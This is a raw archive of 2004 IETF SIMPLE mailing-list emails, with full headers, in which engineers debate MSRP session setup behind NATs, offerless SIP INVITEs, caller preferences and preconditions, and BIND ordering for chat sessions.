Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRa0-00039z-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:18:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRZ0-00031w-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:17:11 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRYF-0002nE-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:16:23 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 03 Mar 2004 00:28:14 +0000
Received: from mira-sjc5-b.cisco.com (IDENT:mirapoint@mira-sjc5-b.cisco.com [171.71.163.14])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i238FpF8010693;
	Wed, 3 Mar 2004 00:15:52 -0800 (PST)
Received: from [127.0.0.1] (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-b.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AQV50428;
	Wed, 3 Mar 2004 00:15:49 -0800 (PST)
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
References: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
Mime-Version: 1.0 (Apple Message framework v612)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <193AEAD0-6CEB-11D8-99D4-0003938AF740@cisco.com>
Content-Transfer-Encoding: 7bit
Cc: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        "'Cullen Jennings'" <fluffy@cisco.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, simple@ietf.org
From: Rohan Mahy <rohan@cisco.com>
Subject: Re: [Simple] RE: MSRP & Comedia
To: Adam Roach <adam@dynamicsoft.com>
X-Mailer: Apple Mail (2.612)
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 17:16:40 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Adam,

You could use caller prefs even with your rusty/dusty/trusty "legacy" 
SIP phone  ;-).

You would need something to add media feature parameters to the 
registration of the 7960 on its behalf.  This is not that big a deal.

thanks,
-rohan


On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:

> That's all great. Now tell me how it works using
> the Cisco 7960 sitting on my desk right now. Assume
> that upgrading the software is not an option.
>
> /a
>
>> -----Original Message-----
>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>> Sent: Tuesday, March 02, 2004 20:09
>> To: Adam Roach
>> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>> simple@ietf.org
>> Subject: Re: [Simple] RE: MSRP & Comedia
>>
>>
>> There are a couple of solutions to the bad user experience
>> you outline:
>>
>> - the UAC can use callerprefs to indicate what media it desires.
>>    For this to work the UAS would have to evaluate the callerprefs,
>>    which isn't currently required or expected.
>>
>> - preconditions could be used to ensure that there is a satisfactory
>>    agreement on media before alerting. In this particular
>> case it would
>>    be the UAS that inserts the preconditions as a way of improving the
>>    user experience at its end. Most any precondition would do, though
>>    the newly proposed connectivity precondition would be quite
>>    appropriate. A hypothetical new precondition relating to
>> negotiation
>>    of some acceptable (set of) media stream(s) might also be
>> interesting.
>>
>> Paul
>>
>> Adam Roach wrote:
>>> Okay, so, the user experience you're promoting
>>> here would lead to a situation in which you open
>>> up your IM client, type in a message for me,
>>> and my desktop hard phone starts ringing. Several
>>> seconds later, I pick up the receiver, my hardphone
>>> sends a "200 OK" response, and... well, nothing
>>> good can come of any result at this point.
>>>
>>> If your client supports audio, my voice is suddenly
>>> coming out of your PC speakers. If not, the call
>>> is torn down, your client renders an error to you,
>>> sends me a bye, and I'm sitting there holding a dead
>>> handset.
>>>
>>> This is the problem that I've pointed out occasionally
>>> for several years: this "send an INVITE with no body"
>>> approach for setting up sessions causes all kinds
>>> of problems. It was originally added for interwork
>>> with the prehistoric H.323v1 procedures, and not killed
>>> because we observed that it can be used in this clever
>>> 3pcc hack -- but it invariably leads to a message that
>>> semantically means the same thing as the dialog
>>> box that I sent earlier.
>>>
>>> /a
>>>
>>>
>>>> -----Original Message-----
>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>> Sent: Monday, March 01, 2004 8:38
>>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>> Cc: simple@ietf.org
>>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>>>
>>>>
>>>>
>>>> It just sends an offer with all three and then the other ends
>>>> selects. This
>>>> is how SIP is today - you can send an invite with no offer
>>>> then get the
>>>> offer in the response and put the answer in the ack.
>>>>
>>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>
>>>>
>>>>> From a protocol perspective, this sounds reasonable.
>>>>>
>>>>> I think the key problem is that the first example shifts the
>>>>> decision of what type of communication is requested
>>>>> from the caller to the callee. Without getting into a discussion
>>>>> of whether that is the "right" thing to do, it certainly is
>>>>> going to differ from user expectations.
>>>>>
>>>>> +----------------------------------------------+
>>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>> | to start a conversation, but I have no idea  |
>>>>> | what kind. Take your best guess:             |
>>>>> |                                              |
>>>>> |    +-------+  +-----------------+  +----+    |
>>>>> |    | Voice |  | Voice and video |  | IM |    |
>>>>> |    +-------+  +-----------------+  +----+    |
>>>>> +----------------------------------------------+
>>>>>
>>>>> /a
>>>>>
>>>>>
>>>>>> -----Original Message-----
>>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>> Sent: Friday, February 27, 2004 0:50
>>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>> Cc: simple@ietf.org
>>>>>> Subject: MSRP & Comedia
>>>>>>
>>>>>>
>>>>>>
>>>>>> This is a half baked idea that I am just tossing out as food
>>>>>> for thought
>>>>>>
>>>>>> Consider a systems where something like the UA that sends the
>>>>>> answer sends
>>>>>> the VISIT.
>>>>>>
>>>>>> Consider the cases where A want to set up a MSRP session with B.
>>>>>>
>>>>>> A is behind a NAT and does not want to use a relay. A sends
>>>>>> an INVITE with
>>>>>> no offer. B sends an offer, gets back an answer and A
>>>>>
>>>> sends the VISIT.
>>>>
>>>>>> A -> inv    -> B
>>>>>> A <- offer  <- B
>>>>>> A -> answer -> B
>>>>>> A -> visit  -> B
>>>>>>
>>>>>> B is behind a NAT. A sends an offer and B sends an answer and
>>>>>> A sends VISIT.
>>>>>> A -> offer  -> B
>>>>>> A <- answer <- B
>>>>>> A <- visit  <- B
>>>>>>
>>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>> relay is needed
>>>>>> and gets one and sends offer.
>>>>>>
>>>>>> The underlying principal is basically if you don't know what
>>>>>> port you are
>>>>>> going to receive media at (which is the case with a NAT) you
>>>>>> should not be
>>>>>> making any offers and if you make an offer the assumption is
>>>>>> that the other
>>>>>> side and send media (a VISIT) to that and have it work.
>>>>>>
>>>>>> The fundamental thing I am trying to avoid is two vendors
>>>>>> both saying they
>>>>>> have MSRP compliant systems yet still having them fail to be
>>>>>> able to talk to
>>>>>> each other because they both expect the other one to host.
>>>>>>
>>>>>
>>>>> _______________________________________________
>>>>> Simple mailing list
>>>>> Simple@ietf.org
>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
>>>>
>>>> _______________________________________________
>>>> Simple mailing list
>>>> Simple@ietf.org
>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>
>>>
>>>
>>> _______________________________________________
>>> Simple mailing list
>>> Simple@ietf.org
>>> https://www1.ietf.org/mailman/listinfo/simple
>>>
>>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Wed Mar  3 04:26:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA13460
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 04:26:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AySeF-00070m-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 04:26:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AySdF-0006kv-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 04:25:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyScH-0006Z5-00; Wed, 03 Mar 2004 04:24:37 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AySc2-000119-78; Wed, 03 Mar 2004 04:24:22 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRaR-0003pe-El
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:18:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10067
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:18:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRa5-0003AQ-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:18:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRZ4-00032Y-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:17:15 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRYY-0002u3-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:16:42 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-2.cisco.com with ESMTP; 03 Mar 2004 00:27:50 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i238GAY6011848;
	Wed, 3 Mar 2004 00:16:11 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user50.cisco.com [10.70.82.50])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGM05657;
	Wed, 3 Mar 2004 03:16:06 -0500 (EST)
Message-ID: <40459444.1000305@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Adam Roach <adam@dynamicsoft.com>
CC: "'Cullen Jennings'" <fluffy@cisco.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 03:16:04 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

We are working on lots of things that don't work well with existing 
devices that haven't been upgraded. A good comparable in this case is 
use of preconditions for QoS.

In this particular case, it is the device that will have the bad user 
experience that takes the initiative to send the offer with 
preconditions. And in this case, since the offer is in a response, it 
would typically only be tried if the request indicated support for the 
preconditions. When it can't do that, we have a less that desirable user 
experience, but things still work.

	Paul

Adam Roach wrote:
> That's all great. Now tell me how it works using
> the Cisco 7960 sitting on my desk right now. Assume
> that upgrading the software is not an option.
> 
> /a
> 
> 
>>-----Original Message-----
>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>Sent: Tuesday, March 02, 2004 20:09
>>To: Adam Roach
>>Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>simple@ietf.org
>>Subject: Re: [Simple] RE: MSRP & Comedia
>>
>>
>>There are a couple of solutions to the bad user experience 
>>you outline:
>>
>>- the UAC can use callerprefs to indicate what media it desires.
>>   For this to work the UAS would have to evaluate the callerprefs,
>>   which isn't currently required or expected.
>>
>>- preconditions could be used to ensure that there is a satisfactory
>>   agreement on media before alerting. In this particular 
>>case it would
>>   be the UAS that inserts the preconditions as a way of improving the
>>   user experience at its end. Most any precondition would do, though
>>   the newly proposed connectivity precondition would be quite
>>   appropriate. A hypothetical new precondition relating to 
>>negotiation
>>   of some acceptable (set of) media stream(s) might also be 
>>interesting.
>>
>>Paul
>>
>>Adam Roach wrote:
>>
>>>Okay, so, the user experience you're promoting
>>>here would lead to a situation in which you open
>>>up your IM client, type in a message for me,
>>>and my desktop hard phone starts ringing. Several
>>>seconds later, I pick up the receiver, my hardphone
>>>sends a "200 OK" response, and... well, nothing
>>>good can come of any result at this point.
>>>
>>>If your client supports audio, my voice is suddenly
>>>coming out of your PC speakers. If not, the call
>>>is torn down, your client renders an error to you,
>>>sends me a bye, and I'm sitting there holding a dead
>>>handset.
>>>
>>>This is the problem that I've pointed out occasionally
>>>for several years: this "send an INVITE with no body"
>>>approach for setting up sessions causes all kinds
>>>of problems. It was originally added for interwork
>>>with the prehistoric H.323v1 procedures, and not killed
>>>because we observed that it can be used in this clever
>>>3pcc hack -- but it invariably leads to a message that
>>>semantically means the same thing as the dialog
>>>box that I sent earlier.
>>>
>>>/a
>>>
>>>
>>>
>>>>-----Original Message-----
>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>Sent: Monday, March 01, 2004 8:38
>>>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>Cc: simple@ietf.org
>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>
>>>>
>>>>
>>>>It just sends an offer with all three and then the other ends 
>>>>selects. This
>>>>is how SIP is today - you can send an invite with no offer 
>>>>then get the
>>>>offer in the response and put the answer in the ack.
>>>>
>>>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>
>>>>
>>>>>From a protocol perspective, this sounds reasonable.
>>>>
>>>>>I think the key problem is that the first example shifts the
>>>>>decision of what type of communication is requested
>>>>
>>>>>from the caller to the callee. Without getting into a discussion
>>>>
>>>>>of whether that is the "right" thing to do, it certainly is
>>>>>going to differ from user expectations.
>>>>>
>>>>>+----------------------------------------------+
>>>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>| to start a conversation, but I have no idea  |
>>>>>| what kind. Take your best guess:             |
>>>>>|                                              |
>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>|    | Voice |  | Voice and video |  | IM |    |
>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>+----------------------------------------------+
>>>>>
>>>>>/a
>>>>>
>>>>>
>>>>>
>>>>>>-----Original Message-----
>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>Sent: Friday, February 27, 2004 0:50
>>>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>Cc: simple@ietf.org
>>>>>>Subject: MSRP & Comedia
>>>>>>
>>>>>>
>>>>>>
>>>>>>This is a half baked idea that I am just tossing out as food
>>>>>>for thought
>>>>>>
>>>>>>Consider a systems where something like the UA that sends the
>>>>>>answer sends
>>>>>>the VISIT. 
>>>>>>
>>>>>>Consider the cases where A want to set up a MSRP session with B.
>>>>>>
>>>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>>>an INVITE with
>>>>>>no offer. B sends an offer, gets back an answer and A 
>>>>>
>>>>sends the VISIT.
>>>>
>>>>
>>>>>>A -> inv    -> B
>>>>>>A <- offer  <- B
>>>>>>A -> answer -> B
>>>>>>A -> visit  -> B
>>>>>>
>>>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>A sends VISIT.
>>>>>>A -> offer  -> B
>>>>>>A <- answer <- B
>>>>>>A <- visit  <- B
>>>>>>
>>>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>relay is needed
>>>>>>and gets one and sends offer.
>>>>>>
>>>>>>The underlying principal is basically if you don't know what
>>>>>>port you are
>>>>>>going to receive media at (which is the case with a NAT) you
>>>>>>should not be
>>>>>>making any offers and if you make an offer the assumption is
>>>>>>that the other
>>>>>>side and send media (a VISIT) to that and have it work.
>>>>>>
>>>>>>The fundamental thing I am trying to avoid is two vendors
>>>>>>both saying they
>>>>>>have MSRP compliant systems yet still having them fail to be
>>>>>>able to talk to
>>>>>>each other because they both expect the other one to host.
>>>>>>
>>>>>
>>>>>_______________________________________________
>>>>>Simple mailing list
>>>>>Simple@ietf.org
>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
>>>>
>>>>_______________________________________________
>>>>Simple mailing list
>>>>Simple@ietf.org
>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>
>>>
>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>>
>>
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Wed Mar  3 05:29:20 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA16526
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 05:29:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTct-00021C-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 05:29:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTbs-0001nM-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 05:28:17 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTav-0001bb-00; Wed, 03 Mar 2004 05:27:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyTaw-0000lF-Ot; Wed, 03 Mar 2004 05:27:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTah-0008Mr-1Z; Wed, 03 Mar 2004 05:27:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTaY-0008Lu-LJ
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 05:26:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA16345
	for <simple@ietf.org>; Wed, 3 Mar 2004 05:26:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTaB-0001Po-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:26:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTZA-0001Aj-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:25:29 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTYF-0000z9-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:24:31 -0500
Received: from david.siemens.de ([192.35.17.14])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyTYG-0000ho-GJ
	for simple@ietf.org; Wed, 03 Mar 2004 05:24:32 -0500
Received: from mail3.siemens.de (mail3.siemens.de [139.25.208.14])
	by david.siemens.de (8.11.7/8.11.7) with ESMTP id i23AOSN24318
	for <simple@ietf.org>; Wed, 3 Mar 2004 11:24:28 +0100 (MET)
Received: from moody.mchh.siemens.de (moody.mchh.siemens.de [139.21.205.85])
	by mail3.siemens.de (8.11.7/8.11.7) with ESMTP id i23AOST26652
	for <simple@ietf.org>; Wed, 3 Mar 2004 11:24:28 +0100 (MET)
Received: from mchh246e.mchh.siemens.de (mchh246e.mchh.siemens.de [139.21.200.56])
	by moody.mchh.siemens.de (8.9.3/8.9.1) with ESMTP id LAA09993
	for <simple@ietf.org>; Wed, 3 Mar 2004 11:24:27 +0100 (MET)
Received: by mchh246e.mchh.siemens.de with Internet Mail Service (5.5.2657.72)
	id <FB014RAQ>; Wed, 3 Mar 2004 11:24:27 +0100
Message-ID: <5B788FC2CAFBD6118BAE0030848B025C7A247D@LNN201E>
From: Marjou Xavier <xavier.marjou@siemens.com>
To: "'simple@ietf.org'" <simple@ietf.org>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] BIND and Chat sessions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 11:24:17 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

I think one must not forget that the BIND method of MSRP could be a =
potential problem for Chat sessions. This is because the "media" BIND =
request would happen before "control" SIP request of the session =
establishment.

Best Regards,
Xavier Marjou

-----Original Message-----
From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On Behalf Of =
Miguel.An.Garcia@nokia.com
Sent: vendredi 20 f=E9vrier 2004 07:45
To: simple@ietf.org
Cc: aki.niemi@nokia.com
Subject: [Simple] Chat sessions

Hi:

I would like to draw your attention to a draft that Aki and me =
submitted a few days ago. We are addressing those missing components in =
a multiparty session based messaging (aka chat room). The draft is:

http://www.ietf.org/internet-drafts/draft-niemi-simple-chat-00.txt

We are focusing on two aspects at the moment: setting and displaying a =
nickname; and sending private messages to a subset of the participants =
(sidebar messaging conferences).

We have defined a convention to transport nicknames in message/cpim. =
Messages can be addressed to the whole chat room or just a subset of =
the participants. We have also provided an XML document that allows a =
participant to set her nickname and the chat room server to accept it.

Comments are welcome.

/Miguel
---
Miguel A. Garcia           tel:+358-50-4804586   =20
Nokia Research Center      Helsinki, Finland

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 05:30:52 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA16771
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 05:30:47 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTdc-00008u-AS
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 05:30:04 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23AU3nI000507
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 05:30:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTdW-00007v-Ha
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 05:29:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA16529
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 05:29:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTcu-00021H-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 05:29:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTbt-0001nT-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 05:28:18 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTav-0001bb-00; Wed, 03 Mar 2004 05:27:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyTaw-0000lF-Ot; Wed, 03 Mar 2004 05:27:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTah-0008Mr-1Z; Wed, 03 Mar 2004 05:27:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyTaY-0008Lu-LJ
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 05:26:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA16345
	for <simple@ietf.org>; Wed, 3 Mar 2004 05:26:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTaB-0001Po-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:26:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyTZA-0001Aj-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:25:29 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyTYF-0000z9-00
	for simple@ietf.org; Wed, 03 Mar 2004 05:24:31 -0500
Received: from david.siemens.de ([192.35.17.14])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyTYG-0000ho-GJ
	for simple@ietf.org; Wed, 03 Mar 2004 05:24:32 -0500
Received: from mail3.siemens.de (mail3.siemens.de [139.25.208.14])
	by david.siemens.de (8.11.7/8.11.7) with ESMTP id i23AOSN24318
	for <simple@ietf.org>; Wed, 3 Mar 2004 11:24:28 +0100 (MET)
Received: from moody.mchh.siemens.de (moody.mchh.siemens.de [139.21.205.85])
	by mail3.siemens.de (8.11.7/8.11.7) with ESMTP id i23AOST26652
	for <simple@ietf.org>; Wed, 3 Mar 2004 11:24:28 +0100 (MET)
Received: from mchh246e.mchh.siemens.de (mchh246e.mchh.siemens.de [139.21.200.56])
	by moody.mchh.siemens.de (8.9.3/8.9.1) with ESMTP id LAA09993
	for <simple@ietf.org>; Wed, 3 Mar 2004 11:24:27 +0100 (MET)
Received: by mchh246e.mchh.siemens.de with Internet Mail Service (5.5.2657.72)
	id <FB014RAQ>; Wed, 3 Mar 2004 11:24:27 +0100
Message-ID: <5B788FC2CAFBD6118BAE0030848B025C7A247D@LNN201E>
From: Marjou Xavier <xavier.marjou@siemens.com>
To: "'simple@ietf.org'" <simple@ietf.org>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] BIND and Chat sessions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
